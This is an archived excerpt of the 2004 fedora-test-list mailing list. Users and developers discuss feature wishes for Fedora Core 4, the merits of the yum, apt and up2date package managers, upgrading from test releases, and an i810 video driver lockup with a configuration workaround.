<1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> Message-ID: <1100220091.22508.71.camel@localhost.localdomain> Isn't that what gnome-session manage does ( or at least part of what it does.) You can tell it to start certain programs at login. Would seem silly to have two methods of doing the same thing. On Fri, 2004-11-12 at 06:51 +0800, joelbryan wrote: > How about an inclusion of a "Startup" folder, similar to Windows. > > > On Thu, 11 Nov 2004 14:04:02 +0100 (CET), Roger Grosswiler > wrote: > > > > > > > On Thu, 2004-11-11 at 12:37 +0000, Tony Molloy wrote: > > >> On Wednesday 10 November 2004 18:47, Mark Haney wrote: > > >> > I know it's probably a bit early, but does anyone have a > > >> > comprehensive set of features/ideas for FC4? So far FC3 is by far > > >> > the best distro out there, but surely there's been some thought to > > >> > what's next. Plus, I'd love to help out with it in any way I can, > > >> > but time prohibits real development, is there any need for > > >> > documentation? > > >> > > > >> > > >> "Best distro out there" It's been out for 4 days and so far there have > > >> been at least 103 package upgrades. This sound to me like it was > > >> released too early ;-) > > > > > > well.... most of it is minor fixes that weren't allowed in due to the > > > freeze, and the developer had done the work anyway so decided to just > > > push out the bugfix... > > > > > > the alternative is to leave the bug in; which would you prefer ? > > > > > > (and before you say "then delay the release"... there will ALWAYS be > > > non-critical bugs, if you wait for that you will never get a release) > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > you're right, Arjan. > > > > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > > > it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) > > > > Roger > > > > > > > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > -- > Music = Apple iPod + Rhythmbox & iTunes > Browser = Mozilla Firefox & Epiphany > Desktop = Gnome, Mac OSX, Longhorn 4074 > Distro = Fedora Core > Language = PHP, MySQL, Python, HTML > Graphics = Gimp 2.0, gThumb, Picasa > Editors = FrontPage 2003, vi, gedit > Codecs = FLAC, Ogg Vorbis, Apple Lossless > RSS = Thunderbird, Hello, Blogspot > -------------- next part -------------- An HTML attachment was scrubbed... URL: From scott.aaron at abc.net.au Fri Nov 12 00:42:28 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Fri, 12 Nov 2004 11:42:28 +1100 Subject: Features for FC4 In-Reply-To: References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> Message-ID: <1100220148.22508.73.camel@localhost.localdomain> What is wrong with Evolution? evolution has good calander Functionality. On Fri, 2004-11-12 at 06:55 +0800, joelbryan wrote: > an gDesklet version of up2date. > > gDesklet for Fedora Core. > > Inclusion of nice explicit Calendar Software. > > On Fri, 12 Nov 2004 06:51:44 +0800, joelbryan wrote: > > How about an inclusion of a "Startup" folder, similar to Windows. > > > > > > > > > > On Thu, 11 Nov 2004 14:04:02 +0100 (CET), Roger Grosswiler > > wrote: > > > > > > > > > > On Thu, 2004-11-11 at 12:37 +0000, Tony Molloy wrote: > > > >> On Wednesday 10 November 2004 18:47, Mark Haney wrote: > > > >> > I know it's probably a bit early, but does anyone have a > > > >> > comprehensive set of features/ideas for FC4? So far FC3 is by far > > > >> > the best distro out there, but surely there's been some thought to > > > >> > what's next. Plus, I'd love to help out with it in any way I can, > > > >> > but time prohibits real development, is there any need for > > > >> > documentation? > > > >> > > > > >> > > > >> "Best distro out there" It's been out for 4 days and so far there have > > > >> been at least 103 package upgrades. This sound to me like it was > > > >> released too early ;-) > > > > > > > > well.... most of it is minor fixes that weren't allowed in due to the > > > > freeze, and the developer had done the work anyway so decided to just > > > > push out the bugfix... > > > > > > > > the alternative is to leave the bug in; which would you prefer ? > > > > > > > > (and before you say "then delay the release"... there will ALWAYS be > > > > non-critical bugs, if you wait for that you will never get a release) > > > > -- > > > > fedora-test-list mailing list > > > > fedora-test-list at redhat.com > > > > To unsubscribe: > > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > > you're right, Arjan. > > > > > > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > > > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > > > > > it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) > > > > > > Roger > > > > > > > > > > > > > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > > > > > -- > > Music = Apple iPod + Rhythmbox & iTunes > > Browser = Mozilla Firefox & Epiphany > > Desktop = Gnome, Mac OSX, Longhorn 4074 > > Distro = Fedora Core > > Language = PHP, MySQL, Python, HTML > > Graphics = Gimp 2.0, gThumb, Picasa > > Editors = FrontPage 2003, vi, gedit > > Codecs = FLAC, Ogg Vorbis, Apple Lossless > > RSS = Thunderbird, Hello, Blogspot > > > > > -- > Music = Apple iPod + Rhythmbox & iTunes > Browser = Mozilla Firefox & Epiphany > Desktop = Gnome, Mac OSX, Longhorn 4074 > Distro = Fedora Core > Language = PHP, MySQL, Python, HTML > Graphics = Gimp 2.0, gThumb, Picasa > Editors = FrontPage 2003, vi, gedit > Codecs = FLAC, Ogg Vorbis, Apple Lossless > RSS = Thunderbird, Hello, Blogspot > -------------- next part -------------- An HTML attachment was scrubbed... URL: From surak at casa.surak.eti.br Thu Nov 11 23:54:19 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Thu, 11 Nov 2004 21:54:19 -0200 Subject: Features for FC4 In-Reply-To: <1100220091.22508.71.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> Message-ID: <1100217259.4069.378.camel@preview> Em Qui, 2004-11-11 ?s 22:41, Aaron Scott escreveu: > Isn't that what gnome-session manage does ( or at least part of what > it does.) You can tell it to start certain programs at login. Would > seem silly to have two methods of doing the same thing. That sucks. You cannot just throw an script to a startup folder so a dumb user would not complain that openoffice takes ages to start. No, you have to crawl on xml stuff to do what was so simple since windows 3.x. Reinventing the wheel is not always nice. From jspaleta at gmail.com Fri Nov 12 01:20:01 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 11 Nov 2004 20:20:01 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100220047.13679.23.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> <1100212754.9321.14.camel@localhost.localdomain> <1100216595.24175.98.camel@va.local.linuxlobbyist.org> <1100220047.13679.23.camel@localhost.localdomain> Message-ID: <604aa79104111117201dc31660@mail.gmail.com> On Thu, 11 Nov 2004 17:40:47 -0700, Kim Lux wrote: > As far as I am concerned, if upgrading doesn't fix the bug, then then > neither will installing fresh. Thinking that installing fresh will fix > a bug is ludicrous ! Either all the packages are the same on the > install are they aren't. It doesn't matter if they came from upgrade or > fresh. I think you are making some wildly false assumptions about which files get updated and which files do not when you upgrade packages. Not all files on the system are actually owned by a package. Take for a random examples /etc/modprobe.conf and /etc/asound.state. These are not owned by any package, but they can both certaintly affect whether you have sound or not. These files are manipulated by scripts but are not own by a package. Configuration files like these are not necessarily 'stateless' and the manipulation done on unmanaged configuration files can very well depend on what the contents of the configuration file is to begin with. Telling someone to reinstall during the testing phase before a final release is a perfectly valid troubleshooting step, in an effort to narrow down how the problem is developing. Historically there have been a number of problems that occur for people who upgrade but not for people who fresh install for a variety of reasons. Please keep in mind that when someone tells you to do a fresh install, they are not offering you a solution, they are asking you to do some rough troubleshooting to determine where the problem lies so more information can be gathered. -jef"waiter, there's a bug in my code"spalete From rc040203 at freenet.de Fri Nov 12 01:37:47 2004 From: rc040203 at freenet.de (Ralf Corsepius) Date: Fri, 12 Nov 2004 02:37:47 +0100 Subject: Why don't you guys like synaptic? In-Reply-To: <4483.12.29.16.103.1100201431.squirrel@whooper.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1170.192.168.1.100.1100198694.squirrel@mail.pari.edu> <4483.12.29.16.103.1100201431.squirrel@whooper.org> Message-ID: <1100223467.11780.11.camel@mccallum.corsepiu.local> On Thu, 2004-11-11 at 14:30 -0500, William Hooper wrote: > Lamar Owen said: > [snip] > > I have used both apt-get for RPM and yum, and I have used both yumi (aka > > CoBind Manager) and synaptic. From a professional's point of view, > > synaptic/apt is superior in a number of ways: > [snip] > from a scratch WBEL3 respin1 install in both cases, > [snip] > > If you are basing your experience on WBEL, you are using an old version of > yum. I have to concur: I've tried both current yum and current apt to upgrade FC2->FC3. My experience with both of them basically matches with Lamar's. In addition to that, a "special" experience was using yum on connections with overloaded ftp-servers ... AFAIU, apt downloads its files in "one rush", while yum iteratively downloads the package headers. With overloaded servers rejecting or refusing connections on the remote end, yum bombed out with all kind of errors. I'll continue to use apt. Ralf -- Ralf Corsepius Forschungsinstitut fuer Anwendungsorientierte Wissensverarbeitung (FAW) Helmholtzstr. 16, 89081 Ulm, Germany Tel: +49/731/501-8690 mailto:corsepiu at faw.uni-ulm.de FAX: +49/731/501-999 http://www.faw.uni-ulm.de From mharris at www.linux.org.uk Fri Nov 12 01:49:17 2004 From: mharris at www.linux.org.uk (Mike A. Harris) Date: Thu, 11 Nov 2004 20:49:17 -0500 Subject: Intel 810 Video Issues & Lockups In-Reply-To: <1100098733.41922cad76ccf@webmail.gxconcepts.com> References: <1100098733.41922cad76ccf@webmail.gxconcepts.com> Message-ID: <4194169D.1070805@www.linux.org.uk> fedora at gxconcepts.com wrote: > I installed Fedora Core 3, but seem to be having lots of issues with video > display and lockups. I'm currently using a Dell Inspiron 2500 laptop, which > has the Intel 810 video chipset. > > I first installed FC3 with SELinux Active and then installed a second istalled a > second time with SELinux Disabled. I am working with a fresh install on both > cases. > > I'm unable to track down the source of the problem, has anyone seen this? The i810 driver in X.Org X11 6.8.x is broken on i810 and i815 video hardware. The exact cause of the problem is not yet known. It could be a bug in the i810 video driver, the core X server code, or in the kernel side of the driver (DRM). The bug has been filed in Red Hat bugzilla already, and is also filed in X.Org bugzilla and officially being tracked there. Anyone experiencing problems with i810 or i815 video on Fedora Core 3 can add themselves to the CC of the upstream bug report if they would like to track the issue and any progress being made on it by upstream X.Org developers/maintainers. The upstream bug report is locate at: http://freedesktop.org/bugzilla/show_bug.cgi?id=1817 Red Hat is tracking the issue in X.Org bugzilla above, and once a patch is available that fixes this issue, we will review it for consideration for any future FC3 X.Org update releases. In the mean time, any users who may be experiencing this issue can temporarily work around the issue by editing their /etc/X11/xorg.conf by hand, and adding the following line to the driver section: Option "noaccel" This will disable 2D acceleration in the driver, which should result in slower but working video. Alternatively you can try using the "vesa" driver, but it is also unaccelerated and will likely be even slower. Once X.Org has tracked down the cause of the issue and a patch is made available that fixes it, we will review it for future updates as mentioned above. Hope this helps. From fct-cornette at insight.rr.com Fri Nov 12 02:10:31 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Thu, 11 Nov 2004 21:10:31 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Message-ID: <41941B97.9030608@insight.rr.com> Will Backman wrote: > Has the community given up on up2date? > > I still use up2date and have not experienced any major problems until the recent bogging down of mirrors for FC3. I'm running a version from development, before I cut off rawhide of up2date-4.3.52-3. I notice that there is now some feedback as to why up2date takes s long during dep resolution. It seems to be downloading headers from all of the repositories listed in the sources file. Anyway, I have used yum, apt during trials and have felt comfortable with up2date with its multi-repo capabilities, different configuration warnings and its easy to use GUI interface. (Exclude repos, packages, etc from a list during installations. Of course, having experienced slow download speeds when we were using RHN and the non-paying upgrade accounts might be a reminder feature from the RHL days and a way to hold onto the past. Maybe something related to RHN in up2date is causing the lag during the dep resolution phase. I'm holding onto up2date for now. It is nice to have different options available for maintaining one's system. One Note: If red-carpet gets to be included into the distribution or is reliable and functional within FC releases, I would use this over up2date, yum or apt as a program installer/removal tool. Jim From pri.rhl3 at iadonisi.to Fri Nov 12 02:13:35 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 21:13:35 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100220047.13679.23.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> <1100212754.9321.14.camel@localhost.localdomain> <1100216595.24175.98.camel@va.local.linuxlobbyist.org> <1100220047.13679.23.camel@localhost.localdomain> Message-ID: <1100225615.28938.7.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-11 at 17:40 -0700, Kim Lux wrote: > This is my last post on this subject. It appears as though some of us > disagree. I'll leave it at that. Comments below. Well, there is a problem with just leaving it at disagreeing. Eventually you are going to piss off some developer and he will tell you to take a hike. It has happened, and I won't cite the case to avoid embarrassing the offender, but it was case of much too high expectations. You're on that path as well. I suggest you *change* your expectation that upgrading from test releases must work (and if you think it should be fixed when broken, that too), or stop testing altogether. Otherwise, you are setting yourself up to be blasted by those who toil to give you the fruits of their labor for nothing other than some cooperation in troubleshooting a problem ... clean installs and upgrades from OFFICIAL releases being two of those steps. I agree with what someone else posted that you are a great help to many on this list, but I suspect that if something doesn't change with your expectations by the next testing cycle, you are going to find your reports of problems taken even less seriously than you say they are now. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From eric at interplas.com Fri Nov 12 02:32:26 2004 From: eric at interplas.com (Eric Wood) Date: Thu, 11 Nov 2004 21:32:26 -0500 Subject: FC3 - Has the community given up on up2date? References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> Message-ID: <004901c4c85f$d998e1e0$6401a8c0@vaio> ----- Original Message ----- From: "nodata" > up2date can't handle 404s, it just dies. up2date doesn't even detect your *not* on the internet - it just hangs until I kill it. -eric wood From lowen at pari.edu Fri Nov 12 02:30:36 2004 From: lowen at pari.edu (Lamar Owen) Date: Thu, 11 Nov 2004 21:30:36 -0500 (EST) Subject: Upgrading from testing releases (was:Re: Why don't you guys like In-Reply-To: <1100225615.28938.7.camel@va.local.linuxlobbyist.org> References: <419385DA.4080105@ku.edu><1100187829.4454.29.camel@localhost.localdomain><4348.12.29.16.103.1100190751.squirrel@whooper.org><1100191782.4055.5.camel@localhost.localdomain><1100191684.3094.38.camel@binkley><1100192446.4055.17.camel@localhost.localdomain><1100192462.3094.41.camel@binkley><1100194157.10404.28.camel@wombat.tiptoe.de><1100194571.4069.9.camel@localhost.localdomain><1102.12.29.16.103.1100201712.squirrel@whooper.org><1100203474.4213.6.camel@localhost.localdomain><1100205420.24175.17.camel@va.local.linuxlobbyist.org><1100206804.3807.8.camel@localhost.localdomain><1100209506.24175.46.camel@va.local.linuxlobbyist.org><1100212754.9321.14.camel@localhost.localdomain><1100216595.24175.98.camel@va.local.linuxlobbyist.org><1100220047.13679.23.camel@localhost.localdomain> <1100225615.28938.7.camel@va.local.linuxlobbyist.org> Message-ID: <1304.64.53.49.204.1100226636.squirrel@mail.pari.edu> > I suggest you *change* your expectation that upgrading from test > releases must work (and if you think it should be fixed when broken, > that too), or stop testing altogether. Otherwise, you are setting > yourself up to be blasted by those who toil to give you the fruits of > their labor for nothing other than some cooperation in troubleshooting a > problem ... clean installs and upgrades from OFFICIAL releases being two > of those steps. You know, I begin to wonder myself if the whole 'upgrades from test releases are not supported' rule at this point. Since the distribution is essentially unsupported in toto, and since one really cannot say ahead of time which one of the release candidates will make Gold, where is the line really drawn? (I know where people say it's drawn...) I say that having been a tester for some time, not a johnny-come-lately. And I have myself said before to complainers that upgrades from test releases are not supported. And I understand the meaning of 'supported' in this context. To Kim Lux, understand that 'unsupported' means that 'the Fedora Developers will not consume resources to solve these problems' not that it won't work. It might work; the developers only will put their 'guarantee' and 'seal of approval' on upgrades from Official version to Official version. If it breaks you own it. But, then again, it's that way with 'Official' releases, too. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu From whooperhsd3 at earthlink.net Fri Nov 12 02:53:12 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 21:53:12 -0500 (EST) Subject: FC3 - Has the community given up on up2date? In-Reply-To: <59880.195.34.133.68.1100209145.squirrel@195.34.133.68> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <2774.12.29.16.103.1100208671.squirrel@whooper.org> <59880.195.34.133.68.1100209145.squirrel@195.34.133.68> Message-ID: <32866.192.168.0.254.1100227992.squirrel@whooper.org> nodata said: >>> A healthy bit of competition between yum and apt is always good, but >>> I >>> can't see a good reason for up2date any more - is there one? :) >> >> It supports more metadata formats than both yum and apt put together. >> > > But don't we have a common metadata format coming soon? I'm doubting that will have any affect on RHN, which is only supported by up2date. -- William Hooper From lux at diesel-research.com Fri Nov 12 00:53:21 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 17:53:21 -0700 Subject: Features for FC4 In-Reply-To: <1100220148.22508.73.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220148.22508.73.camel@localhost.localdomain> Message-ID: <1100220801.13875.2.camel@localhost.localdomain> I'd like a distro whereby CDROMs, grip, cdparanoia and sound work correctly out of the box. I'm going to set up a system so that we can boot new releases from a portable USB drive and test this stuff on multiple machines without wrecking their good working installations. On Fri, 2004-11-12 at 11:42 +1100, Aaron Scott wrote: > What is wrong with Evolution? evolution has good calander > Functionality. > > > On Fri, 2004-11-12 at 06:55 +0800, joelbryan wrote: > > an gDesklet version of up2date. > > > > gDesklet for Fedora Core. > > > > Inclusion of nice explicit Calendar Software. > > > > On Fri, 12 Nov 2004 06:51:44 +0800, joelbryan wrote: > > > How about an inclusion of a "Startup" folder, similar to Windows. > > > > > > > > > > > > > > > On Thu, 11 Nov 2004 14:04:02 +0100 (CET), Roger Grosswiler > > > wrote: > > > > > > > > > > > > > On Thu, 2004-11-11 at 12:37 +0000, Tony Molloy wrote: > > > > >> On Wednesday 10 November 2004 18:47, Mark Haney wrote: > > > > >> > I know it's probably a bit early, but does anyone have a > > > > >> > comprehensive set of features/ideas for FC4? So far FC3 is by far > > > > >> > the best distro out there, but surely there's been some thought to > > > > >> > what's next. Plus, I'd love to help out with it in any way I can, > > > > >> > but time prohibits real development, is there any need for > > > > >> > documentation? > > > > >> > > > > > >> > > > > >> "Best distro out there" It's been out for 4 days and so far there have > > > > >> been at least 103 package upgrades. This sound to me like it was > > > > >> released too early ;-) > > > > > > > > > > well.... most of it is minor fixes that weren't allowed in due to the > > > > > freeze, and the developer had done the work anyway so decided to just > > > > > push out the bugfix... > > > > > > > > > > the alternative is to leave the bug in; which would you prefer ? > > > > > > > > > > (and before you say "then delay the release"... there will ALWAYS be > > > > > non-critical bugs, if you wait for that you will never get a release) > > > > > -- > > > > > fedora-test-list mailing list > > > > > fedora-test-list at redhat.com > > > > > To unsubscribe: > > > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > > > > you're right, Arjan. > > > > > > > > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > > > > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > > > > > > > it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) > > > > > > > > Roger > > > > > > > > > > > > > > > > > > > > -- > > > > fedora-test-list mailing list > > > > fedora-test-list at redhat.com > > > > To unsubscribe: > > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > > > > > > > > > -- > > > Music = Apple iPod + Rhythmbox & iTunes > > > Browser = Mozilla Firefox & Epiphany > > > Desktop = Gnome, Mac OSX, Longhorn 4074 > > > Distro = Fedora Core > > > Language = PHP, MySQL, Python, HTML > > > Graphics = Gimp 2.0, gThumb, Picasa > > > Editors = FrontPage 2003, vi, gedit > > > Codecs = FLAC, Ogg Vorbis, Apple Lossless > > > RSS = Thunderbird, Hello, Blogspot > > > > > > > > > -- > > Music = Apple iPod + Rhythmbox & iTunes > > Browser = Mozilla Firefox & Epiphany > > Desktop = Gnome, Mac OSX, Longhorn 4074 > > Distro = Fedora Core > > Language = PHP, MySQL, Python, HTML > > Graphics = Gimp 2.0, gThumb, Picasa > > Editors = FrontPage 2003, vi, gedit > > Codecs = FLAC, Ogg Vorbis, Apple Lossless > > RSS = Thunderbird, Hello, Blogspot > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From alan at redhat.com Fri Nov 12 03:33:05 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 11 Nov 2004 22:33:05 -0500 Subject: Features for FC4 In-Reply-To: <1100220801.13875.2.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220148.22508.73.camel@localhost.localdomain> <1100220801.13875.2.camel@localhost.localdomain> Message-ID: <20041112033305.GA25133@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 05:53:21PM -0700, Kim Lux wrote: > I'd like a distro whereby CDROMs, grip, cdparanoia and sound work > correctly out of the box. For 99.9% of people they do. Already > I'm going to set up a system so that we can boot new releases from a > portable USB drive and test this stuff on multiple machines without > wrecking their good working installations. I've also found qemu handy for this btw. It's not exactly competing with vmware but its free and it works From lux at diesel-research.com Fri Nov 12 03:44:23 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 20:44:23 -0700 Subject: Features for FC4 In-Reply-To: <20041112033305.GA25133@devserv.devel.redhat.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220148.22508.73.camel@localhost.localdomain> <1100220801.13875.2.camel@localhost.localdomain> <20041112033305.GA25133@devserv.devel.redhat.com> Message-ID: <1100231063.4559.4.camel@localhost.localdomain> Please tell me more about qemu. Is it an SF package and how are you (or others) using it. I was also thinking of using xen, but then if there is a bug people might say that xen was causing it. Any thoughts ? On Thu, 2004-11-11 at 22:33 -0500, Alan Cox wrote: > > I'm going to set up a system so that we can boot new releases from a > > portable USB drive and test this stuff on multiple machines without > > wrecking their good working installations. > > I've also found qemu handy for this btw. It's not exactly competing > with > vmware but its free and it works -- Kim Lux (Mr.) Diesel Research Inc From pri.rhl3 at iadonisi.to Fri Nov 12 03:55:03 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 22:55:03 -0500 Subject: Features for FC4 In-Reply-To: <1100231063.4559.4.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220148.22508.73.camel@localhost.localdomain> <1100220801.13875.2.camel@localhost.localdomain> <20041112033305.GA25133@devserv.devel.redhat.com> <1100231063.4559.4.camel@localhost.localdomain> Message-ID: <1100231703.29166.8.camel@va.local.linuxlobbyist.org> Partly to show that I do think a lot of your posts are valuable ;-) ... On Thu, 2004-11-11 at 20:44 -0700, Kim Lux wrote: > Please tell me more about qemu. Is it an SF package and how are you (or > others) using it. It's used by Metropipe's Virtual Private Machine (http://www.metropipe.net/ProductsPVPM.shtml). Nice thing about it over Xen is that the kernel doesn't have to be 'ported' to run under it. You can find it at http://fabrice.bellard.free.fr/qemu/. > I was also thinking of using xen, but then if there is a bug people > might say that xen was causing it. Any thoughts ? Yes, especially since it's a customized kernel. And, unfortunately, I've already tried it ... though it may actually work with FC3, it doesn't seem to want to work when you have the root filesystem on an LVM volume, which, as luck would have it, is how FC3 is installed by default. Bummer. It's worth a shot, though, if you want to try installing FC3 and doing custom partitioning. Get rid of the LVM install and do a regular dos partitioning style install (i.e: the "old" way). I may do that myself. If I do, I'll report back on my success or failure. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From fct-cornette at insight.rr.com Fri Nov 12 04:07:33 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Thu, 11 Nov 2004 23:07:33 -0500 Subject: Intel 810 Video Issues & Lockups In-Reply-To: <4194169D.1070805@www.linux.org.uk> References: <1100098733.41922cad76ccf@webmail.gxconcepts.com> <4194169D.1070805@www.linux.org.uk> Message-ID: <41943705.1090300@insight.rr.com> Mike A. Harris wrote: > fedora at gxconcepts.com wrote: > >> I installed Fedora Core 3, but seem to be having lots of issues with >> video >> display and lockups. I'm currently using a Dell Inspiron 2500 laptop, >> which >> has the Intel 810 video chipset. >> >> I first installed FC3 with SELinux Active and then installed a second >> istalled a >> second time with SELinux Disabled. I am working with a fresh install >> on both >> cases. >> >> I'm unable to track down the source of the problem, has anyone seen this? > > > The i810 driver in X.Org X11 6.8.x is broken on i810 and i815 video > hardware. The exact cause of the problem is not yet known. It could > be a bug in the i810 video driver, the core X server code, or in the > kernel side of the driver (DRM). Someone using a nvidia driver reported a refresh problem that is similar to the problem that those with the 810/815 video hardware have really noticed. Is it possible that there is another xorg-x11 component causing the refresh error, other than the driver? > > The bug has been filed in Red Hat bugzilla already, and is also filed > in X.Org bugzilla and officially being tracked there. Anyone > experiencing problems with i810 or i815 video on Fedora Core 3 > can add themselves to the CC of the upstream bug report if they > would like to track the issue and any progress being made on it > by upstream X.Org developers/maintainers. The upstream bug report > is locate at: > > http://freedesktop.org/bugzilla/show_bug.cgi?id=1817 Thanks! I'll be tracking the bug and hopefully not commenting too much on the issue there. > > Red Hat is tracking the issue in X.Org bugzilla above, and once a patch > is available that fixes this issue, we will review it for consideration > for any future FC3 X.Org update releases. In the mean time, any users > who may be experiencing this issue can temporarily work around the > issue by editing their /etc/X11/xorg.conf by hand, and adding the > following line to the driver section: > > Option "noaccel" This is what works for me, but with "NoAccel". Are these options case sesitive? > > This will disable 2D acceleration in the driver, which should result in > slower but working video. Alternatively you can try using the "vesa" > driver, but it is also unaccelerated and will likely be even slower. For my particular 815 video, vesa causes diagonal lines across the display and is unusable as a driver selection. > > Once X.Org has tracked down the cause of the issue and a patch is made > available that fixes it, we will review it for future updates as > mentioned above. Looking around on the server that the belo link refers to, I noticed an i915 driver that is listed. Would stagnating the i810 driver at a level that worked for the 810/815 and adding a new class of drivers be better for keeping the old video hardware working and not hinder the newer similar, but different enough to cause problems drivers evolving? It seems that the first 810 /815 breakage was due to improvements for the 830 video hardware. I know that the 865G does not randomly crash any longer because of improvements made to the i810 driver that make these later video harware more reliable. Thanks! This issue concerns me, since one video type was made more reliable and the other was made less functional and both use the same driver. One is bound to be killed by revisions to make the other videocard work more reliably. Jim > > Hope this helps. > From vR at movingparts.net Fri Nov 12 04:22:03 2004 From: vR at movingparts.net (Jason 'vanRijn' Kasper) Date: Thu, 11 Nov 2004 23:22:03 -0500 Subject: Another NetworkManager question In-Reply-To: <1100158549.3374.12.camel@hermione.soho.bytebot.net> References: <77e74f3e04110607224a60c073@mail.gmail.com> <1100158549.3374.12.camel@hermione.soho.bytebot.net> Message-ID: <1100233324.22314.0.camel@localhost> On Thu, 2004-11-11 at 18:35 +1100, Colin Charles wrote: > On Sun, 2004-11-07 at 10:02 -0500, Dan Williams wrote: > > > How is it possible that iwconfig and NM applet show conflicting information ? > > > In this case at least a 30% signal strength means that NM applet information > > > is actually incorrect. > > > > Orinoco cards have problems. My orinoco card (and I've had the same > > report from 2 other people) will refuse to associate with an AP when its > > strength is low. However, it will report being connected to an AP when it > > clearly cannot be. For example: > > I was playing with NetworkManagerInfo today on my Mac. I had to manually > add the name of the network I wanted to connect to (because scanning > w/Airport cards doesn't work), and afterward, I managed to completely > hard 